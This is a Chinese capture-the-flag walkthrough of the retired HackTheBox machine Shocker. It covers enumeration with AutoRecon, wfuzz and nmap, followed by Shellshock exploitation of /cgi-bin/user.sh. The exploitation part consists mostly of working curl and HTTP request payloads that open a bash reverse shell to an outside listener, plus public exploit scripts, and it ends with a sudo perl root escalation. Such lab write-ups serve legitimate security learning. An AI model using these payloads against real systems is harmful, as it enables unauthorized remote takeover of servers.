本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.56
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令
autorecon 10.10.10.56 -o ./Shocker-autorecon
得到如下结果:
先访问80web应用看看
没看到啥东西,再看看上面扫描结果中的爆破目录信息
发现一个目录cgi-bin 尝试使用wfuzz进行爆破猜测可能存在的后缀
wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://10.10.10.56/cgi-bin/FUZZ.sh
得到一个uri地址/cgi-bin/user.sh 将此文件下载下来
看到此情景判断可能存在shellshock漏洞,漏洞详情:https://www.cvedetails.com/cve/CVE-2014-6271/
上面还是可以使用nmap扫描看看,命令如下:
nmap -sV -p 80 --script=http-shellshock.nse --script-args uri=/cgi-bin/user.sh,cmd=ls 10.10.10.56
确认上述存在shellshock ,那么就可以开始利用其漏洞拿shell,详细的利用方式如下:
利用方式: 下面方式都可以正常利用,在user-agent头也可以 curl -H 'Cookie: () { :;}; echo; /bin/bash -i >& /dev/tcp/10.10.14.5/8833 0>&1' http://10.10.10.56/cgi-bin/user.sh curl -H 'Cookie: () { :;}; echo; /bin/sh -i >& /dev/tcp/10.10.14.5/8833 0>&1' http://10.10.10.56/cgi-bin/user.sh curl -H 'Cookie: () { :;}; /bin/sh -i >& /dev/tcp/10.10.14.5/8833 0>&1' http://10.10.10.56/cgi-bin/user.sh curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.14.5/8833 0>&1' http://10.10.10.56/cgi-bin/user.sh curl -A '() { :; }; /bin/bash -i > /dev/tcp/10.10.14.5/8833 0<&1 2>&1' http://10.10.10.56/cgi-bin/user.sh 上面执行的时候需要本地监听端口 通过burpsuite提交请求也可以 GET /cgi-bin/user.sh HTTP/1.1 Host: 10.10.10.56 User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/10.10.14.5/8833 0>&1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Connection: close 上面执行的时候需要本地监听端口 直接通过exploit拿shell https://www.exploit-db.com/exploits/34900 python 34900.py payload=reverse rhost=10.10.10.56 lhost=10.10.14.5 lport=9966 pages=/cgi-bin/user.sh 第二种自定义的exploit https://github.com/nullarmor/hackthebox-exploits/blob/master/shocker/exploit.py python nullarmor-exploit.py --rhost 10.10.10.56 --lhost 10.10.14.5 --lport 8899 第三种自定义的exploit https://github.com/nccgroup/shocker python shocker.py -H 10.10.10.56 --command "/bin/bash -i > /dev/tcp/10.10.14.5/8833 0<&1 2>&1" -c /cgi-bin/user.sh 上面执行的时候需要本地监听端口
成功反弹shell
这里提权很简单,每次我都会习惯执行下sudo -l ,这里是发现可以直接通过perl执行sudo权限拿到root权限